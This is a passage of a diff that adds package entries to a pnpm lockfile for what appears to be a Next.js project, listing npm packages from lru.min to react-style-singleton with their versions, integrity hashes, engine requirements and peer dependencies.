+ lru.min@1.1.3:
+ resolution: {integrity: sha512-Lkk/vx6ak3rYkRR0Nhu4lFUT2VDnQSxBe8Hbl7f36358p6ow8Bnvr8lrLt98H8J1aGxfhbX4Fs5tYg2+FTwr5Q==}
+ engines: {bun: '>=1.0.0', deno: '>=1.30.0', node: '>=8.0.0'}
+
+ magic-bytes.js@1.12.1:
+ resolution: {integrity: sha512-ThQLOhN86ZkJ7qemtVRGYM+gRgR8GEXNli9H/PMvpnZsE44Xfh3wx9kGJaldg314v85m+bFW6WBMaVHJc/c3zA==}
+
+ magic-string@0.30.21:
+ resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==}
+
+ make-error@1.3.6:
+ resolution: {integrity: sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==}
+
+ math-intrinsics@1.1.0:
+ resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==}
+ engines: {node: '>= 0.4'}
+
+ merge-stream@2.0.0:
+ resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==}
+
+ merge2@1.4.1:
+ resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==}
+ engines: {node: '>= 8'}
+
+ micro@9.3.5-canary.3:
+ resolution: {integrity: sha512-viYIo9PefV+w9dvoIBh1gI44Mvx1BOk67B4BpC2QK77qdY0xZF0Q+vWLt/BII6cLkIc8rLmSIcJaB/OrXXKe1g==}
+ engines: {node: '>= 8.0.0'}
+ hasBin: true
+
+ micromatch@4.0.8:
+ resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==}
+ engines: {node: '>=8.6'}
+
+ mime-db@1.52.0:
+ resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==}
+ engines: {node: '>= 0.6'}
+
+ mime-types@2.1.35:
+ resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==}
+ engines: {node: '>= 0.6'}
+
+ mimic-fn@2.1.0:
+ resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==}
+ engines: {node: '>=6'}
+
+ mini-svg-data-uri@1.4.4:
+ resolution: {integrity: sha512-r9deDe9p5FJUPZAk3A59wGH7Ii9YrjjWw0jmw/liSbHl2CHiyXj6FcDXDu2K3TjVAXqiJdaw3xxwlZZr9E6nHg==}
+ hasBin: true
+
+ minimatch@10.1.1:
+ resolution: {integrity: sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ==}
+ engines: {node: 20 || >=22}
+
+ minimatch@3.1.2:
+ resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==}
+
+ minimatch@9.0.5:
+ resolution: {integrity: sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==}
+ engines: {node: '>=16 || 14 >=14.17'}
+
+ minimist@1.2.8:
+ resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==}
+
+ minipass@3.3.6:
+ resolution: {integrity: sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==}
+ engines: {node: '>=8'}
+
+ minipass@5.0.0:
+ resolution: {integrity: sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==}
+ engines: {node: '>=8'}
+
+ minipass@7.1.2:
+ resolution: {integrity: sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==}
+ engines: {node: '>=16 || 14 >=14.17'}
+
+ minizlib@2.1.2:
+ resolution: {integrity: sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==}
+ engines: {node: '>= 8'}
+
+ minizlib@3.1.0:
+ resolution: {integrity: sha512-KZxYo1BUkWD2TVFLr0MQoM8vUUigWD3LlD83a/75BqC+4qE0Hb1Vo5v1FgcfaNXvfXzr+5EhQ6ing/CaBijTlw==}
+ engines: {node: '>= 18'}
+
+ mkdirp@1.0.4:
+ resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==}
+ engines: {node: '>=10'}
+ hasBin: true
+
+ mri@1.2.0:
+ resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==}
+ engines: {node: '>=4'}
+
+ ms@2.1.1:
+ resolution: {integrity: sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==}
+
+ ms@2.1.2:
+ resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==}
+
+ ms@2.1.3:
+ resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==}
+
+ mssql@11.0.1:
+ resolution: {integrity: sha512-KlGNsugoT90enKlR8/G36H0kTxPthDhmtNUCwEHvgRza5Cjpjoj+P2X6eMpFUDN7pFrJZsKadL4x990G8RBE1w==}
+ engines: {node: '>=18'}
+ hasBin: true
+
+ mysql2@3.16.0:
+ resolution: {integrity: sha512-AEGW7QLLSuSnjCS4pk3EIqOmogegmze9h8EyrndavUQnIUcfkVal/sK7QznE+a3bc6rzPbAiui9Jcb+96tPwYA==}
+ engines: {node: '>= 8.0'}
+
+ named-placeholders@1.1.6:
+ resolution: {integrity: sha512-Tz09sEL2EEuv5fFowm419c1+a/jSMiBjI9gHxVLrVdbUkkNUUfjsVYs9pVZu5oCon/kmRh9TfLEObFtkVxmY0w==}
+ engines: {node: '>=8.0.0'}
+
+ nanoid@3.3.11:
+ resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==}
+ engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1}
+ hasBin: true
+
+ napi-postinstall@0.3.4:
+ resolution: {integrity: sha512-PHI5f1O0EP5xJ9gQmFGMS6IZcrVvTjpXjz7Na41gTE7eE2hK11lg04CECCYEEjdc17EV4DO+fkGEtt7TpTaTiQ==}
+ engines: {node: ^12.20.0 || ^14.18.0 || >=16.0.0}
+ hasBin: true
+
+ native-duplexpair@1.0.0:
+ resolution: {integrity: sha512-E7QQoM+3jvNtlmyfqRZ0/U75VFgCls+fSkbml2MpgWkWyz3ox8Y58gNhfuziuQYGNNQAbFZJQck55LHCnCK6CA==}
+
+ natural-compare@1.4.0:
+ resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==}
+
+ neo-async@2.6.2:
+ resolution: {integrity: sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==}
+
+ next@16.1.5:
+ resolution: {integrity: sha512-f+wE+NSbiQgh3DSAlTaw2FwY5yGdVViAtp8TotNQj4kk4Q8Bh1sC/aL9aH+Rg1YAVn18OYXsRDT7U/079jgP7w==}
+ engines: {node: '>=20.9.0'}
+ hasBin: true
+ peerDependencies:
+ '@opentelemetry/api': ^1.1.0
+ '@playwright/test': ^1.51.1
+ babel-plugin-react-compiler: '*'
+ react: ^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0
+ react-dom: ^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0
+ sass: ^1.3.0
+ peerDependenciesMeta:
+ '@opentelemetry/api':
+ optional: true
+ '@playwright/test':
+ optional: true
+ babel-plugin-react-compiler:
+ optional: true
+ sass:
+ optional: true
+
+ node-addon-api@8.5.0:
+ resolution: {integrity: sha512-/bRZty2mXUIFY/xU5HLvveNHlswNJej+RnxBjOMkidWfwZzgTbPG1E3K5TOxRLOR+5hX7bSofy8yf1hZevMS8A==}
+ engines: {node: ^18 || ^20 || >= 21}
+
+ node-fetch@2.6.7:
+ resolution: {integrity: sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==}
+ engines: {node: 4.x || >=6.0.0}
+ peerDependencies:
+ encoding: ^0.1.0
+ peerDependenciesMeta:
+ encoding:
+ optional: true
+
+ node-fetch@2.6.9:
+ resolution: {integrity: sha512-DJm/CJkZkRjKKj4Zi4BsKVZh3ValV5IR5s7LVZnW+6YMh0W1BfNA8XSs6DLMGYlId5F3KnA70uu2qepcR08Qqg==}
+ engines: {node: 4.x || >=6.0.0}
+ peerDependencies:
+ encoding: ^0.1.0
+ peerDependenciesMeta:
+ encoding:
+ optional: true
+
+ node-fetch@2.7.0:
+ resolution: {integrity: sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==}
+ engines: {node: 4.x || >=6.0.0}
+ peerDependencies:
+ encoding: ^0.1.0
+ peerDependenciesMeta:
+ encoding:
+ optional: true
+
+ node-gyp-build@4.8.4:
+ resolution: {integrity: sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==}
+ hasBin: true
+
+ node-releases@2.0.27:
+ resolution: {integrity: sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==}
+
+ nopt@8.1.0:
+ resolution: {integrity: sha512-ieGu42u/Qsa4TFktmaKEwM6MQH0pOWnaB3htzh0JRtx84+Mebc0cbZYN5bC+6WTZ4+77xrL9Pn5m7CV6VIkV7A==}
+ engines: {node: ^18.17.0 || >=20.5.0}
+ hasBin: true
+
+ npm-run-path@4.0.1:
+ resolution: {integrity: sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==}
+ engines: {node: '>=8'}
+
+ object-assign@4.1.1:
+ resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==}
+ engines: {node: '>=0.10.0'}
+
+ object-inspect@1.13.4:
+ resolution: {integrity: sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==}
+ engines: {node: '>= 0.4'}
+
+ object-keys@1.1.1:
+ resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==}
+ engines: {node: '>= 0.4'}
+
+ object.assign@4.1.7:
+ resolution: {integrity: sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==}
+ engines: {node: '>= 0.4'}
+
+ object.entries@1.1.9:
+ resolution: {integrity: sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==}
+ engines: {node: '>= 0.4'}
+
+ object.fromentries@2.0.8:
+ resolution: {integrity: sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==}
+ engines: {node: '>= 0.4'}
+
+ object.groupby@1.0.3:
+ resolution: {integrity: sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==}
+ engines: {node: '>= 0.4'}
+
+ object.values@1.2.1:
+ resolution: {integrity: sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==}
+ engines: {node: '>= 0.4'}
+
+ once@1.3.3:
+ resolution: {integrity: sha512-6vaNInhu+CHxtONf3zw3vq4SP2DOQhjBvIa3rNcG0+P7eKWlYH6Peu7rHizSloRU2EwMz6GraLieis9Ac9+p1w==}
+
+ once@1.4.0:
+ resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==}
+
+ onetime@5.1.2:
+ resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==}
+ engines: {node: '>=6'}
+
+ open@10.2.0:
+ resolution: {integrity: sha512-YgBpdJHPyQ2UE5x+hlSXcnejzAvD0b22U2OuAP+8OnlJT+PjWPxtgmGqKKc+RgTM63U9gN0YzrYc71R2WT/hTA==}
+ engines: {node: '>=18'}
+
+ optionator@0.9.4:
+ resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==}
+ engines: {node: '>= 0.8.0'}
+
+ os-paths@4.4.0:
+ resolution: {integrity: sha512-wrAwOeXp1RRMFfQY8Sy7VaGVmPocaLwSFOYCGKSyo8qmJ+/yaafCl5BCA1IQZWqFSRBrKDYFeR9d/VyQzfH/jg==}
+ engines: {node: '>= 6.0'}
+
+ own-keys@1.0.1:
+ resolution: {integrity: sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==}
+ engines: {node: '>= 0.4'}
+
+ oxc-transform@0.111.0:
+ resolution: {integrity: sha512-oa5KKSDNLHZGaiqIGAbCWXeN9IJUAz9MElWcQX90epDxdKc9Hrt/BsLj3K4gDqfAYa5dwdH+ZCFJG9hR74fiGg==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+
+ p-finally@2.0.1:
+ resolution: {integrity: sha512-vpm09aKwq6H9phqRQzecoDpD8TmVyGw70qmWlyq5onxY7tqyTTFVvxMykxQSQKILBSFlbXpypIw2T1Ml7+DDtw==}
+ engines: {node: '>=8'}
+
+ p-limit@3.1.0:
+ resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==}
+ engines: {node: '>=10'}
+
+ p-locate@5.0.0:
+ resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==}
+ engines: {node: '>=10'}
+
+ parent-module@1.0.1:
+ resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==}
+ engines: {node: '>=6'}
+
+ parse-ms@2.1.0:
+ resolution: {integrity: sha512-kHt7kzLoS9VBZfUsiKjv43mr91ea+U05EyKkEtqp7vNbHxmaVuEqN7XxeEVnGrMtYOAxGrDElSi96K7EgO1zCA==}
+ engines: {node: '>=6'}
+
+ path-browserify@1.0.1:
+ resolution: {integrity: sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==}
+
+ path-exists@4.0.0:
+ resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==}
+ engines: {node: '>=8'}
+
+ path-key@3.1.1:
+ resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==}
+ engines: {node: '>=8'}
+
+ path-parse@1.0.7:
+ resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==}
+
+ path-scurry@2.0.1:
+ resolution: {integrity: sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA==}
+ engines: {node: 20 || >=22}
+
+ path-to-regexp@6.1.0:
+ resolution: {integrity: sha512-h9DqehX3zZZDCEm+xbfU0ZmwCGFCAAraPJWMXJ4+v32NjZJilVg3k1TcKsRgIb8IQ/izZSaydDc1OhJCZvs2Dw==}
+
+ path-to-regexp@6.3.0:
+ resolution: {integrity: sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==}
+
+ path-to-regexp@8.2.0:
+ resolution: {integrity: sha512-TdrF7fW9Rphjq4RjrW0Kp2AW0Ahwu9sRGTkS6bvDi0SCwZlEZYmcfDbEsTz8RVk0EHIS/Vd1bv3JhG+1xZuAyQ==}
+ engines: {node: '>=16'}
+
+ path-to-regexp@8.3.0:
+ resolution: {integrity: sha512-7jdwVIRtsP8MYpdXSwOS0YdD0Du+qOoF/AEPIt88PcCFrZCzx41oxku1jD88hZBwbNUIEfpqvuhjFaMAqMTWnA==}
+
+ pend@1.2.0:
+ resolution: {integrity: sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==}
+
+ picocolors@1.0.0:
+ resolution: {integrity: sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==}
+
+ picocolors@1.1.1:
+ resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==}
+
+ picomatch@2.3.1:
+ resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==}
+ engines: {node: '>=8.6'}
+
+ picomatch@4.0.3:
+ resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==}
+ engines: {node: '>=12'}
+
+ possible-typed-array-names@1.1.0:
+ resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==}
+ engines: {node: '>= 0.4'}
+
+ postcss-selector-parser@6.0.10:
+ resolution: {integrity: sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==}
+ engines: {node: '>=4'}
+
+ postcss@8.4.31:
+ resolution: {integrity: sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==}
+ engines: {node: ^10 || ^12 || >=14}
+
+ postcss@8.5.6:
+ resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==}
+ engines: {node: ^10 || ^12 || >=14}
+
+ prelude-ls@1.2.1:
+ resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==}
+ engines: {node: '>= 0.8.0'}
+
+ prettier-plugin-tailwindcss@0.7.2:
+ resolution: {integrity: sha512-LkphyK3Fw+q2HdMOoiEHWf93fNtYJwfamoKPl7UwtjFQdei/iIBoX11G6j706FzN3ymX9mPVi97qIY8328vdnA==}
+ engines: {node: '>=20.19'}
+ peerDependencies:
+ '@ianvs/prettier-plugin-sort-imports': '*'
+ '@prettier/plugin-hermes': '*'
+ '@prettier/plugin-oxc': '*'
+ '@prettier/plugin-pug': '*'
+ '@shopify/prettier-plugin-liquid': '*'
+ '@trivago/prettier-plugin-sort-imports': '*'
+ '@zackad/prettier-plugin-twig': '*'
+ prettier: ^3.0
+ prettier-plugin-astro: '*'
+ prettier-plugin-css-order: '*'
+ prettier-plugin-jsdoc: '*'
+ prettier-plugin-marko: '*'
+ prettier-plugin-multiline-arrays: '*'
+ prettier-plugin-organize-attributes: '*'
+ prettier-plugin-organize-imports: '*'
+ prettier-plugin-sort-imports: '*'
+ prettier-plugin-svelte: '*'
+ peerDependenciesMeta:
+ '@ianvs/prettier-plugin-sort-imports':
+ optional: true
+ '@prettier/plugin-hermes':
+ optional: true
+ '@prettier/plugin-oxc':
+ optional: true
+ '@prettier/plugin-pug':
+ optional: true
+ '@shopify/prettier-plugin-liquid':
+ optional: true
+ '@trivago/prettier-plugin-sort-imports':
+ optional: true
+ '@zackad/prettier-plugin-twig':
+ optional: true
+ prettier-plugin-astro:
+ optional: true
+ prettier-plugin-css-order:
+ optional: true
+ prettier-plugin-jsdoc:
+ optional: true
+ prettier-plugin-marko:
+ optional: true
+ prettier-plugin-multiline-arrays:
+ optional: true
+ prettier-plugin-organize-attributes:
+ optional: true
+ prettier-plugin-organize-imports:
+ optional: true
+ prettier-plugin-sort-imports:
+ optional: true
+ prettier-plugin-svelte:
+ optional: true
+
+ prettier@3.7.4:
+ resolution: {integrity: sha512-v6UNi1+3hSlVvv8fSaoUbggEM5VErKmmpGA7Pl3HF8V6uKY7rvClBOJlH6yNwQtfTueNkGVpOv/mtWL9L4bgRA==}
+ engines: {node: '>=14'}
+ hasBin: true
+
+ pretty-ms@7.0.1:
+ resolution: {integrity: sha512-973driJZvxiGOQ5ONsFhOF/DtzPMOMtgC11kCpUrPGMTgqp2q/1gwzCquocrN33is0VZ5GFHXZYMM9l6h67v2Q==}
+ engines: {node: '>=10'}
+
+ process@0.11.10:
+ resolution: {integrity: sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==}
+ engines: {node: '>= 0.6.0'}
+
+ promisepipe@3.0.0:
+ resolution: {integrity: sha512-V6TbZDJ/ZswevgkDNpGt/YqNCiZP9ASfgU+p83uJE6NrGtvSGoOcHLiDCqkMs2+yg7F5qHdLV8d0aS8O26G/KA==}
+
+ prop-types@15.8.1:
+ resolution: {integrity: sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==}
+
+ pump@3.0.3:
+ resolution: {integrity: sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==}
+
+ punycode@2.3.1:
+ resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==}
+ engines: {node: '>=6'}
+
+ queue-microtask@1.2.3:
+ resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==}
+
+ randombytes@2.1.0:
+ resolution: {integrity: sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==}
+
+ raw-body@2.4.1:
+ resolution: {integrity: sha512-9WmIKF6mkvA0SLmA2Knm9+qj89e+j1zqgyn8aXGd7+nAduPoqgI9lO57SAZNn/Byzo5P7JhXTyg9PzaJbH73bA==}
+ engines: {node: '>= 0.8'}
+
+ raw-loader@4.0.2:
+ resolution: {integrity: sha512-ZnScIV3ag9A4wPX/ZayxL/jZH+euYb6FcUinPcgiQW0+UBtEv0O6Q3lGd3cqJ+GHH+rksEv3Pj99oxJ3u3VIKA==}
+ engines: {node: '>= 10.13.0'}
+ peerDependencies:
+ webpack: ^4.0.0 || ^5.0.0
+
+ react-dom@19.2.4:
+ resolution: {integrity: sha512-AXJdLo8kgMbimY95O2aKQqsz2iWi9jMgKJhRBAxECE4IFxfcazB2LmzloIoibJI3C12IlY20+KFaLv+71bUJeQ==}
+ peerDependencies:
+ react: ^19.2.4
+
+ react-fast-marquee@1.6.5:
+ resolution: {integrity: sha512-swDnPqrT2XISAih0o74zQVE2wQJFMvkx+9VZXYYNSLb/CUcAzU9pNj637Ar2+hyRw6b4tP6xh4GQZip2ZCpQpg==}
+ peerDependencies:
+ react: '>= 16.8.0 || ^18.0.0'
+ react-dom: '>= 16.8.0 || ^18.0.0'
+
+ react-icons@5.5.0:
+ resolution: {integrity: sha512-MEFcXdkP3dLo8uumGI5xN3lDFNsRtrjbOEKDLD7yv76v4wpnEq2Lt2qeHaQOr34I/wPN3s3+N08WkQ+CW37Xiw==}
+ peerDependencies:
+ react: '*'
+
+ react-is@16.13.1:
+ resolution: {integrity: sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==}
+
+ react-remove-scroll-bar@2.3.8:
+ resolution: {integrity: sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==}
+ engines: {node: '>=10'}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ react-remove-scroll@2.7.2:
+ resolution: {integrity: sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q==}
+ engines: {node: '>=10'}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ react-style-singleton@2.2.3:
+ resolution: {integrity: sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==}
+ engines: {node: '>=10'}
+ peerDependencies:
+ '@types/react': '*'
